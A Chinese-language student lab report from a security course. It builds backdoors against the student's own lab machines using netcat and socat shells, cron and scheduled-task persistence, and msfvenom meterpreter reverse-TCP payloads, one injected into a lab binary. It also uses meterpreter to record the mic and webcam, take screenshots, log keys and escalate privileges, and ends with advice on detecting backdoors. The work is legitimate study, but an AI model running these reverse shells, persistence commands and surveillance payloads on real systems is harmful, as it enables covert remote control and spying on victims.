1.实验内容
主要学习了有关后门的攻击案例,后门造成的影响以及原理等,通过实验学会使用不同的工具实现对目标主机的渗透监听,获取主机shell等等,体会后门攻击的过程,从而增强自己的信息安全保护意识。
1.1 实验要求
-
使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2 问题回答
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
- 比如钓鱼短信或者恶意电子邮件中来路不明的连接,或者下载来路不明安全性无法保障的引用
(2)例举你知道的后门如何启动起来(win及linux)的方式?
-
对于windows, 后门启动方式有:利用windows的启动项启动后门,通过修改注册表添加启动路径,和其他文件捆绑,设置服务自启动等。
-
对于Linux, 后门启动方式有:利用crom创建定时任务,创建开机启动的系统服务,利用自启动脚本启动,利用反弹shell启动后门等。
(3)Meterpreter有哪些给你映像深刻的功能?
- 通过实验,发现其可以较为轻松地获取PC的摄像头、麦克风等权限,甚至可以或得键盘敲击的记录、电脑截屏等,让我进一步认识到电脑安全保护的重要性。
(4)如何发现自己有系统有没有被安装后门?
-
可以检查自己主机的系统日志
-
使用防病毒软件(360,火绒)等,
-
任务管理器检查启动项,或者看有无未授权运行的程序
-
检查注册表查看是否有来路不明的条目等
2.实验过程
2.1 任务一:使用netcat获取主机操作Shell,cron启动某项任务
2.1.1 关闭win端相应杀毒保护
由于我的win电脑自带的杀毒软件没有开启,一直使用360,所以基本不用关。
2.1.2查看虚拟机和主机的ip
由于整个实验分别在宿舍和实验室各完成了一部分,所以ip会有变化
-
在宿舍的ip:
-
win端的IP
- kali虚拟机的IP
-
实验室中的ip:
-
win端的IP: 192.168.3.43
-
虚拟机的IP: 192.168.56.105
2.1.3 使用nc连接到win主机端
-
需要明确一下,对于这个任务,被攻击方为kali,而攻击方为win
-
经过测试和搜索资料,发现namp也可以完成这一功能,搜索资料后才知道ncat是namp的组件,所以可以完成这一功能。
win端设置TCP监听端口,kali端连接win的IP和对应端口
ncat -lp 2423
/ 注意要在工具所在的目录之下进行cmd /
nc 192.168.50.29 -e /bin/sh
/ nc 代表netcat,-e代表连接运行的程序 /
kali虚拟机连接
win端连接的结果
2.1.3 win端利用cron设置定时启动的任务
此时再win端直接使用crontab -e是无法直接远程编辑的,会出现错误
所以需要通过其他办法进行编辑
首先在win端进入root权限
下面需要再输入这样的语句
echo "* * * * * echo "20222423lpy" > /home/kali/20222423.txt" > /var/spool/cron/crontabs/root
/ 任务每分钟定时执行一次,用“20222423lpy”覆盖文件20222423.txt /
其中的root文件在这里
首先打开这个crontabs文件夹时候需要用到root权限来打开
其次,有些同学第一次打开的时候里面并没有任何文件,这个root需要手动创建,详细见后面的 问题与解决部分
随后等待个1分钟左右查看结果
可以看到,文件中确实添加了“20222423lpy”的信息,至此第一个任务完成。
2.2 任务二:使用socat获取主机操作Shell, 任务计划启动
socat与ncat功能有所不能,比ncat功能更全面些,比如建立ssl连接等
整个实验的过程是在windows中设置任务计划,任务内容是启动socat,kali利用自动启动的socat和win连接并获取shell。
2.2.1 与主机建立连接,获取shell
首先在win端进入socat所在的文件夹下,输入下面的命令
socat.exe tcp-listen:2423 exec:cmd.exe,pty,stderr
/ 把cmd.exe绑定到端口2423,并把cmd.exe的stderr重定向到stdout /
kali端与win主机建立连接,获取shell
socat - tcp:192.168.50.29:2423
/ 连接远程的端口 /
chcp
/ 这个命令是解决出现的乱码问题 /
2.2.2 kali端创建启动windows程序的任务计划
在实验中我已经提前编译好了程序20222423lpy_test.exe,详细代码如下
程序的功能是每隔一分钟在D盘下的文件20222423lpy_socat.txt中写入fprintf里面的内容
接下来在kali输入schtasks命令,创建任务计划
schtasks /create /sc minute /mo 1 /tn “20222423lpy_socat” /tr E:\Socat\20222423lpy_test.exe
/ 每分钟执行一次20222423lpy_test.exe /
成功后验证一下是否成功创建任务,在win端打开任务计划程序库
可以看到我们成功创建了名为20222423lpy_socat的任务
最后打开文件验证是否执行了20222423lpy_test.exe
可以看到其中的每一条消息都想间隔了一分钟左右,至此任务二成功完成
2.3 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
从这步到最后的任务完成,由于实验场地更换,截图中的win主机和虚拟机kali的IP有所不同,请注意。
注意,从这到后面部分的任务一定要保证虚拟机和win端能够互相Ping通!!,否则无法控制运行shell
此时的win主机IP: 192.168.3.43
此时虚拟机的IP: 192.168.56.105
2.3.1 生成后门文件
在kali端输入下面的内容,首先生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2423 -f exe > 20222423_lpy.exe
/ 注意这里的LHOST使用的IP是kali虚拟机自己的IP,不要输成win端主机IP了 /
/ -f exe 指定输出格式为可执行文件(exe) /
/ msfvenom 调用 Metasploit Framework 中的 msfvenom 工具 /
/ -p 代表payload,它会与win主机建立反向TCP连接 /
2.3.2 利用ncat将生成的后门文件传输给win端主机
在win端进入ncat所在的文件夹下,输入下面的命令,让win监听窗口2423并等待接受后门文件
.\ncat -lv 2423 > 20212422_backdoor.exe
同样在虚拟机上使用ncat将后门文件传给windows端
nc 192.168.3.43 2423 < 20222423_lpy.exe
最后验证下文件是否传递过来
可见后门文件成功传递了过来
2.3.4 虚拟机kali通过msf控制台获取win的shell
在kali端进入msf控制台,并配置相关命令
msfconsole
/ 进入msf控制台 /
use exploit/multi/handler
/ 设置一个多用途的监听器(handler),该监听器可以接收来自多个不同payload的连接 /
set payload windows/meterpreter/reverse_tcp
/ 设置了 payload 为 Windows Meterpreter 反向 TCP /
set LHOST 192.168.56.105
/ 设置虚拟机kali的IP,和前面生成的后门文件配置一样 /
set LPORT 2323
/ 设置kali的端口号 /
exploit
/ 开始触发 /
随后在win端运行后门程序(注意:要在kali端输入exploit前执行文件)
等待一小会时间,可以看到kali成功获取了windows的shell
至此,任务三获取win的shell成功完成,下面就可以利用其进行win端文件的获取
2.4 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.4.1 获取win主机音频、摄像头、键盘记录等信息
首先在2.3完成的基础上,在控制台中继续输入下面的命令来获取相应的信息
record_mic
/ 获取音频信息 /
screenshot
/ 进行截屏 /
webcam_snap
/ 获取照相头,进行拍照 /
keyscan_start
/ 获取键盘敲击记录,此命令代表开始 /
keyscan_dump
/ 此命令代表结束计入键盘敲击记录,并输出获取的结果 /
获取到的文件结果如下:
其中截屏如下:
获取的拍照结果如下:
获取到的键盘敲击记录如下:
2.4.2 获取权限
继续输入下面的指令
getuid
/ 查看当前用户 /
getsystem
/ 提权指令 /
这里输入提取权限指令的时候出现了错误,如下图,详细解决方案在后面的问题与解决部分
到此,可以看到成功从win端获取了音频、键盘敲击记录灯信息。
2.5 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.5.1 msf生成shellcode,注入到实验一的pwn文件中
在kali中打开新的终端,输入下面的内容生成文件
此次实验使用的pwn文件为1_pwn_20222423
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2323 -x /home/kali/Desktop/1_pwn_20222423 -f elf > pwn_20222423lpy
/ 调用 msfvenom 工具 /
/ 指定 payload ,它将尝试与攻击者指定的主机建立反向 TCP 连接 /
/ IP和端口为kali端的 /
/ 指定一个现有的可执行文件 pwn_20222423 作为模板 /
/ -f elf指定输出格式为 ELF(Linux中的可执行文件,与windows中的PE文件对应)/
/ 生成的 ELF 文件重定向并保存为 pwn_20222423lpy /
msfconsole
/ 开启msf /
2.5.2 开始执行攻击
随后和2.3.4里输入到kali端的内容一样
use exploit/multi/handler
/ 进入监听模块 /
set payload linux/x86/meterpreter/reverse_tcp
/ 击载荷为Linux的反弹TCP连接(64位) /
set LHOST 192.168.56.105
/ 此处的IP还是kali的IP地址,与后门文件中的配置一致 /
set LPORT 2423
/ 设置端口号 /
exploit
/ 开始触发 /
此时打开另一个新终端,将文件pwn_20222423lpy执行
这里给文件加x权限是为了让其可以执行,详细原因见实验一报告中的问题与解决部分
之后回到前面第一个打开的终端,继续输入exploit触发,可以得到下面的结果
成功完成攻击!
至此实验所有任务都已完成
3.问题及解决方案
-
问题一:2.1中打开crontabs下却没有root文件问题
-
在最初打开这个文件夹下的时候,发现里面空无一物,没有出现实验指导视频中显示的root文件
- 随后搜索相关资料才知道这个文件需要初始化创建
首先在kali端,进入root角色,输入下面的命令
crontab -e
/ 执行文字编辑器来设定时程表,这里选择的是 /
2
/ 随后选择 2,也就是“ /usr/bin/vim.basic ”/
crontab -l #查看时程表
然后在文件末尾添加下面的命令
5 * * * * /bin/netcat 192.168.50.29 -e /bin/sh
/ IP地址是win主机的,代表在每小时5分钟启动任务 /
然后保存退出,再次查看结果
下来再看看crontabs文件加下有没有东西
很好,问题成功解决,这样就可以继续后面的任务了
-
问题二:2.3.4触发shell的时候始终无法连通
在2.3.4msf控制台输入exploit时候,win和kali始终无法互相连通
虚拟机始终在这一个消息卡着,没有任何动静
这时候想到前面的要求,此次实验必须要保证虚拟机和win主机能够互相ping通,否则后面的任务无法完成
实验过程中我的虚拟机可以ping通win主机,但是win主机始终无法ping通主机
随后检查虚拟机的IP,发现很神奇,和另一位同学的虚拟机的IP一模一样
难怪始终无法执行shell
随后查阅了很多办法,最后知道需要再虚拟机中修改网络配置,详细步骤可以参考这篇文章
在设置中给虚拟机设置了两个网卡,一个选择仅主机网咯,一个选择网络转地址换
随后重新启动kali虚拟机,再次检查IP
看到虚拟机的IP终于改变,再次测试虚拟机和win主机能否ping通
最后再重新执行2.3.4的步骤,终于能成功连接
-
问题三:获取权限的时候执行失败
在2.4.2步骤中,获取权限的时候出现错误
这个问题相对较好解决,需要使用管理员执行后门文件
用管理员运行命令提示符
随后进入后门文件所在的文件夹,运行文件
,
再次输入提取权限命令,成功!
4.学习感悟、思考等
-
整个实验二相比实验一多了不少任务,但是网上有很多参考资料,还有实验视频,能够一定程度上降低实验难度。但是想要完成整个实验并且还需要理解整个实验原理,依旧花费了我不少时间。此次实验需要和自己的win电脑连通,电脑防病毒功能反而会“阻塞”实验进行。
-
但是实验带来的收获不少,首先知道了netcat、socat等工具的用法,同时也让我意识到,本以为自己距离后门这样的攻击很遥远,而没想到通过自己也能实现简单后门,网络攻击原来距离我这么近,有是后单单执行一个小程序就有可能让攻击者控制控制你的设备,从而窃取甚至破坏信息。同时也意识到了PC防火墙、入侵检测、防病毒软件、日志等安全保护工具的重要性。